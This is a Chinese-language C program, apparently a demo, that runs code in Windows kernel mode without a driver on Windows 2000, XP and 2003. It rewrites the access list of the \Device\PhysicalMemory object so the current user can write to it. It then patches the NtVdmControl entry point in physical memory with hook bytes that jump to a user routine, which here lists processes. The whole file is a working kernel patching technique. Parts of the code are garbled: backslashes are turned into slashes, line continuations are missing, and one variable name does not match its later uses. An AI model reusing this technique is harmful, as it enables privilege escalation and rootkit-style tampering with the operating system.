无驱动执行Ring0代码

 // 原理：通过/Device/PhysicalMemory修改NtVdmControl入口，跳转到Ring0Code
//************************************************************************
#include <Windows.h>
#include <Ntsecapi.h>
#include <Aclapi.h>

#pragma comment (lib,"ntdll.lib")        // Copy From DDK
#pragma comment (lib,"Kernel32.lib")
#pragma comment (lib,"Advapi32.lib")


//------------------ 数据类型声明开始 --------------------//
typedef struct _SYSTEM_MODULE_INFORMATION {
     ULONG Reserved[2];
     PVOID Base;
     ULONG Size;
     ULONG Flags;
     USHORT Index;
     USHORT Unknown;
     USHORT LoadCount;
     USHORT ModuleNameOffset;
     CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef struct _OBJECT_ATTRIBUTES {
     ULONG Length;
     HANDLE RootDirectory;
     PUNICODE_STRING ObjectName;
     ULONG Attributes;
     PVOID SecurityDescriptor;
     PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef enum _SECTION_INHERIT {
     ViewShare = 1,
     ViewUnmap = 2
} SECTION_INHERIT;

typedef struct _MY_PROCESS_INFO {
     ULONG PID;
     ULONG KPEB;
     ULONG CR3;
     CHAR Name[16];
     ULONG Reserved;
} MY_PROCESS_INFO, *PMY_PROCESS_INFO;

typedef long NTSTATUS;
//------------------ 数据类型声明结束 --------------------//

//--------------------- 预定义开始 -----------------------//
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_SUCCESS               0x00000000
#define STATUS_UNSUCCESSFUL          0xC0000001
#define STATUS_NOT_IMPLEMENTED       0xC0000002
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_INVALID_PARAMETER     0xC000000D
#define STATUS_ACCESS_DENIED         0xC0000022
#define STATUS_BUFFER_TOO_SMALL      0xC0000023
#define OBJ_KERNEL_HANDLE            0x00000200
#define SystemModuleInformation      11

#define InitializeObjectAttributes( p, n, a, r, s ) { /     /* 注意，由于php标签过滤，以下6行缺少续行符/ */
     (p)->Length = sizeof( OBJECT_ATTRIBUTES );         
     (p)->RootDirectory = r;                            
     (p)->Attributes = a;                               
     (p)->ObjectName = n;                               
     (p)->SecurityDescriptor = s;                       
     (p)->SecurityQualityOfService = NULL;              
     }
//--------------------- 预定义结束 -----------------------//

//------------------ Native API声明开始 ------------------//
NTSYSAPI
VOID
NTAPI
RtlInitUnicodeString(
     PUNICODE_STRING DestinationString,
     PCWSTR SourceString
     );

NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
     ULONG SystemInformationClass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength
     );

NTSYSAPI
NTSTATUS
NTAPI
ZwOpenSection(
     OUT PHANDLE SectionHandle,
     IN ACCESS_MASK DesiredAccess,
     IN POBJECT_ATTRIBUTES ObjectAttributes
     );

NTSYSAPI
NTSTATUS
NTAPI
ZwMapViewOfSection(
     IN HANDLE SectionHandle,
     IN HANDLE ProcessHandle,
     IN OUT PVOID *BaseAddress,
     IN ULONG ZeroBits,
     IN ULONG CommitSize,
     IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
     IN OUT PULONG ViewSize,
     IN SECTION_INHERIT InheritDisposition,
     IN ULONG AllocationType,
     IN ULONG Protect
     );

NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
     IN HANDLE ProcessHandle,
     IN PVOID BaseAddress
     );

NTSYSAPI
NTSTATUS
NTAPI
ZwClose(
     IN HANDLE Handle
     );

NTSYSAPI
NTSTATUS
NTAPI
NtVdmControl(
     IN ULONG ControlCode,
     IN PVOID ControlData
     );
//------------------ Native API声明结束 ------------------//

//------------------ 全局变量定义开始 --------------------//
NTSTATUS
(NTAPI *pfnNtVdmControl)(
     IN ULONG ControlCode,
     IN PVOID ControlData
     );

BOOLEAN
(NTAPI *pfnPsGetVersion)(
     PULONG MajorVersion OPTIONAL,
     PULONG MinorVersion OPTIONAL,
     PULONG BuildNumber OPTIONAL,
     PUNICODE_STRING CSDVersion OPTIONAL
     );

HANDLE
(NTAPI *pfnPsGetCurrentProcessId)(
     );

PVOID
(NTAPI *pfnMemcpy)(
     IN VOID UNALIGNED *Destination,
     IN CONST VOID UNALIGNED *Source,
     IN SIZE_T Length
     );

ULONG
(_cdecl *pfnDbgPrint)(
     IN PCHAR Format,
     ...
     );

ULONG *pPsInitialSystemProcess;
//------------------ 全局变量定义结束 --------------------//


// 获取指定模块的基址
PVOID GetModuleBase(PCSTR name)
{
     NTSTATUS status;
     PVOID pBuffer, pModule;
     ULONG nRetSize, i, n;
     PSYSTEM_MODULE_INFORMATION pmi;

     pBuffer = LocalAlloc(LPTR, 0x1000);
     if (NULL == pBuffer)
     {
         printf("LocalAlloc[0] Failed: %d/n", GetLastError());
         return NULL;
     }

     status = ZwQuerySystemInformation(SystemModuleInformation, pBuffer, 0x1000, &nRetSize);
     if (STATUS_INFO_LENGTH_MISMATCH == status)
     {
         // 缓冲区太小，重新分配
         LocalFree(pBuffer);
         pBuffer = LocalAlloc(LPTR, nRetSize);
         if (NULL == pBuffer)
         {
             printf("LocalAlloc[1] Failed: %d/n", GetLastError());
             return NULL;
         }
         status = ZwQuerySystemInformation(SystemModuleInformation, pBuffer, nRetSize, &nRetSize);
     }
     if (!NT_SUCCESS(status))
     {
         printf("ZwQuerySystemInformation Failed: %d/n", LsaNtStatusToWinError(status));
         LocalFree(pBuffer);
         return NULL;
     }

     pmi = (PSYSTEM_MODULE_INFORMATION)((ULONG)pBuffer + 4);
     n = *(ULONG*)pBuffer;
     pModule = NULL;

     // 搜索指定的模块名，获取基址
     for (i=0; i<n; i++)
     {
         if (!_stricmp(pmi->ImageName+pmi->ModuleNameOffset, name))
         {
             pModule = pmi->Base;
             break;
         }
         pmi++;
     }

     LocalFree(pBuffer);
     return pModule;
}


// 获取/Device/PhysicalMemory的可读写句柄
HANDLE OpenPhysicalMemory()
{
     DWORD dwRet;
     NTSTATUS status;
     UNICODE_STRING name;
     OBJECT_ATTRIBUTES oa;
     EXPLICIT_ACCESS ea;
     PSECURITY_DESCRIPTOR pSD;
     PACL pDacl = NULL;
     PACL pNewDacl = NULL;
     HANDLE hSection = NULL;
     HANDLE hSectionRet = NULL;

     RtlInitUnicodeString(&name, L"//Device//PhysicalMemory");
     InitializeObjectAttributes(&oa, &name, OBJ_KERNEL_HANDLE, NULL, NULL);

     // 以可读写Section权限打开PhysicalMemory
     status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);

     if (NT_SUCCESS(status)) goto FreeAndExit; // 打开成功，直接返回

     if (status != STATUS_ACCESS_DENIED)
     {
         // 错误，但非权限不足，打开失败
         printf("ZwOpenSection[0] Failed: %d/n", LsaNtStatusToWinError(status));
         hSectionRet = NULL;
         goto FreeAndExit;
     }

   // 以可读写ACL权限打开PhysicalMemory
     status = ZwOpenSection(&hSection, READ_CONTROL | WRITE_DAC, &oa);
     if (!NT_SUCCESS(status))
     {
         printf("ZwOpenSection[1] Failed: %d/n", LsaNtStatusToWinError(status));
         goto FreeAndExit;
     }

     // 获取PhysicalMemory的DACL
     dwRet = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
         NULL, NULL, &pDacl, NULL, &pSD);
     if (dwRet != ERROR_SUCCESS)
     {
         printf("GetSecurityInfo Failed: %d/n", dwRet);
         goto FreeAndExit;
     }

     // 创建一个ACE，允许当前用户读写PhysicalMemory
     ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
     ea.grfAccessPermissions = SECTION_MAP_READ | SECTION_MAP_WRITE;
     ea.grfAccessMode = GRANT_ACCESS;
     ea.grfInheritance = NO_INHERITANCE;
     ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
     ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
     ea.Trustee.ptstrName = "CURRENT_USER";

     // 将新的ACE加入DACL
     dwRet = SetEntriesInAcl(1, &ea, pDacl, &pNewDacl);
     if (dwRet != ERROR_SUCCESS)
     {
         printf("SetEntriesInAcl Failed: %d/n", dwRet);
         goto FreeAndExit;
     }

     // 更新PhysicalMemory的DACL
     dwRet = SetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
         NULL, NULL, pNewDacl, NULL);
     if (dwRet != ERROR_SUCCESS)
     {
         printf("SetSecurityInfo Failed: %d/n", dwRet);
         goto FreeAndExit;
     }

     // 再次以可读写权限打开PhysicalMemory
     status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);
     if (!NT_SUCCESS(status))
     {
         printf("ZwOpenSection[2] Failed: %d/n", LsaNtStatusToWinError(status));
         goto FreeAndExit;
     }

FreeAndExit:
     if (pSD) LocalFree(pSD);
     if (pNewDacl) LocalFree(pNewDacl);
     if (hSection) ZwClose(hSection);
     return hSectionRet;
}


// 将物理内存映射到当前进程的用户空间
PVOID MapPhysicalMemory(HANDLE hSection, // 物理内存的Section句柄
                         ULONG Offset,     // 映射起始偏移量，相对于物理内存的0地址
                         ULONG CommitSize // 映射范围
                         )
{
     NTSTATUS status;
     PVOID BaseAddress = NULL;
     LARGE_INTEGER PhysicalAddress = {Offset, 0};
     SIZE_T ViewSize = CommitSize;

     status = ZwMapViewOfSection(hSection, (HANDLE)-1, &BaseAddress, 0,
         CommitSize, &PhysicalAddress, &ViewSize, ViewShare, 0, PAGE_READWRITE);
     if (!NT_SUCCESS(status))
     {
         printf("ZwMapViewOfSection Failed: %d/n", LsaNtStatusToWinError(status));
         return NULL;
     }

     return BaseAddress;
}


// 在Ring0执行的代码。这里演示如何获取每个进程的PID、KPEB、CR3和ImageName
NTSTATUS Ring0Code(ULONG size,       // 缓冲区大小
                    PULONG buffer)    // 缓冲区指针，指向调用者分配的缓存
                                     // 参数个数与NtVdmControl一致，以平衡堆栈
{
     ULONG BuildNumber;
     ULONG ListOffset;
     ULONG PIDOffset;
     ULONG NameOffset;
     PLIST_ENTRY ListHead, ListPtr;
     PMY_PROCESS_INFO mypi;

     pfnDbgPrint("Run in Ring0!/n"); // 输出调试信息

     pfnPsGetVersion(NULL, NULL, &BuildNumber, NULL);
     pfnDbgPrint("BuildNumber = %d/n", BuildNumber);

     switch (BuildNumber)     // 各版本OS的KPEB结构不同
     {
         case 2195:   // Win2000
             ListOffset = 0xa0;
             PIDOffset = 0x9c;
             NameOffset = 0x1fc;
             break;
         case 2600:   // WinXP
             ListOffset = 0x88;
             PIDOffset = 0x84;
             NameOffset = 0x174;
             break;
         case 3790:   // Win2003
             ListOffset = 0x88;
             PIDOffset = 0x84;
             NameOffset = 0x154;
             break;
         default:
             return STATUS_NOT_IMPLEMENTED;
     }

     if (size<4) return STATUS_BUFFER_TOO_SMALL;
     size -= 4;

     if (NULL == buffer) return STATUS_INVALID_PARAMETER;
     *buffer = 0L;    // 缓存的第一个ULONG用于保存进程总数

     mypi = (PMY_PROCESS_INFO)(buffer + 1);

     // 历遍ActiveProcessLinks
     ListHead = ListPtr = (PLIST_ENTRY)(*pPsInitialSystemProcess + ListOffset);
     while (ListPtr->Flink != ListHead)
     {
         if (size < sizeof(MY_PROCESS_INFO)) return STATUS_BUFFER_TOO_SMALL;

         mypi->KPEB = (ULONG)ListPtr - ListOffset;
         mypi->PID = *(ULONG*)(mypi->KPEB + PIDOffset);
         mypi->CR3 = *(ULONG*)(mypi->KPEB + 0x18);
         pfnMemcpy(mypi->Name, (PVOID)(mypi->KPEB + NameOffset), 16);

         (*buffer)++;
         mypi++;
         size -= sizeof(MY_PROCESS_INFO);
         ListPtr = ListPtr->Flink;
     }

     return STATUS_SUCCESS;
}


// 显示进程信息
void ListProcessInfo(PULONG buffer)
{
     ULONG i, n = *buffer;
     PMY_PROCESS_INFO mypi = (PMY_PROCESS_INFO)(buffer + 1);

     printf(" PID    KPEB       CR3        Name/n"
            " ----   --------   --------   ----/n");
     for (i=0; i<n; i++)
     {
         printf(" %-4d   %08x   %08x   %s/n",
             mypi->PID, mypi->KPEB, mypi->CR3, mypi->Name);
         mypi++;
     }
}


void main()
{
     char *Kernel = "ntoskrnl.exe";
     PVOID pKernel = NULL;
     HMODULE hKernel = NULL;
     HANDLE hSection = NULL;
     char *mapping = NULL;
     PVOID buffer = NULL;
     ULONG offset;
     NTSTATUS status;
     char origCode[24], HookCode[24] =
         "/xE8/xFF/xFF/xFF/xFF"   // call 0xffffffff       ;nt!PsGetCurrentProcessId
         "/x3D/xEE/xEE/xEE/xEE"   // cmp eax, 0xeeeeeeee   ;自己的PID
         "/x75/x05"               // jne $Content$5
         "/xE9/xDD/xDD/xDD/xDD"   // jmp 0xdddddddd        ;Ring0Code
         "/xB8/x01/x00/x00/xC0"   // mov eax, 0xc0000001   ;STATUS_UNSUCCESSFUL
         "/xC3";                  // ret

     printf("/n -=< Run Ring0 Code Without Driver Demo >=-/n/n");

     // 获取系统核心模块ntoskrnl.exe的基址
     pKernel = GetModuleBase(Kernel);
     if (NULL == pKernel) return;
     if ((ULONG)pKernel < 0x80000000 || (ULONG)pKernel > 0x9FFFFFFF)
     {
         // 模块基址超出直接内存映射范围
         printf("Error: Kernel module base (%08x) is out of range./n", pKernel);
         return;
     }

     // 在用户态加载一份ntoskrnl.exe
     hKernel = LoadLibrary(Kernel);
     if (NULL == hKernel)
     {
         printf("LoadLibrary Failed: %d/n", GetLastError());
         return;
     }

     // 获取内核例程/变量在用户态的相对位置
     if ((pfnMemcpy = (PVOID)GetProcAddress(hKernel, "memcpy")) &&
         (pfnDbgPrint = (PVOID)GetProcAddress(hKernel, "DbgPrint")) &&
         (pfnNtVdmControl = (PVOID)GetProcAddress(hKernel, "NtVdmControl")) &&
         (pfnPsGetVersion = (PVOID)GetProcAddress(hKernel, "PsGetVersion")) &&
         (pfnPsGetCurrentProcessId = (PVOID)GetProcAddress(hKernel, "PsGetCurrentProcessId")) &&
         (pPsInitialSystemProcess = (PVOID)GetProcAddress(hKernel, "PsInitialSystemProcess")));
     else
     {
         printf("GetProcAddress Failed: %d/n", GetLastError());
         goto FreeAndExit;
     }

     // 计算内核例程/变量的实际地址
     offset = (ULONG)pKernel - (ULONG)hKernel;
     (ULONG)pfnMemcpy += offset;
     (ULONG)pfnDbgPrint += offset;
     (ULONG)pfnNtVdmControl += offset;
     (ULONG)pfnPsGetVersion += offset;
     (ULONG)pfnPsGetCurrentProcessId += offset;
     (ULONG)pPsInitialSystemProcess += offset;

     // 设置HookCode
     *(ULONG*)(HookCode+1) = (ULONG)pfnPsGetCurrentProcessId - (ULONG)pfnNtVdmControl - 5;
     *(ULONG*)(HookCode+6) = GetCurrentProcessId();
     *(ULONG*)(HookCode+13) = (ULONG)Ring0Code - (ULONG)pfnNtVdmControl - 17;

     // 打开物理内存Section
     hSection = OpenPhysicalMemory();
     if (NULL == hSection) goto FreeAndExit;

     // 映射NtVdmControl入口附近的内存
     offset = (ULONG)pfnNtVdmControl & 0x1FFFF000;    // 转换到物理内存页地址
     mapping = MapPhysicalMemory(hSection, offset, 0x2000);
     if (NULL == mapping) goto FreeAndExit;

     // 保存NtVdmControl入口代码
     offset = (ULONG)pfnNtVdmControl & 0x00000FFF;    // 页内偏移
     memcpy(OrigCode, mapping+offset, 24);

     buffer = LocalAlloc(LPTR, 0x1000);
     if (NULL == buffer)
     {
         printf("LocalAlloc Failed: %d/n", GetLastError());
         goto FreeAndExit;
     }

     memcpy(mapping+offset, HookCode, 24);    // 挂钩NtVdmControl
     status = NtVdmControl(0x1000, buffer);   // 调用NtVdmControl，进入Ring0
     memcpy(mapping+offset, origCode, 24);    // 还原NtVdmControl入口

     if (!NT_SUCCESS(status))
     {
         printf("NtVdmControl Failed: %d/n", LsaNtStatusToWinError(status));
         goto FreeAndExit;
     }

     ListProcessInfo(buffer);

FreeAndExit:
     if (buffer != NULL) LocalFree(buffer);
     if (mapping != NULL) ZwUnmapViewOfSection(hSection, mapping);
     if (hSection != NULL) ZwClose(hSection);
     if (hKernel != NULL) FreeLibrary(hKernel);
}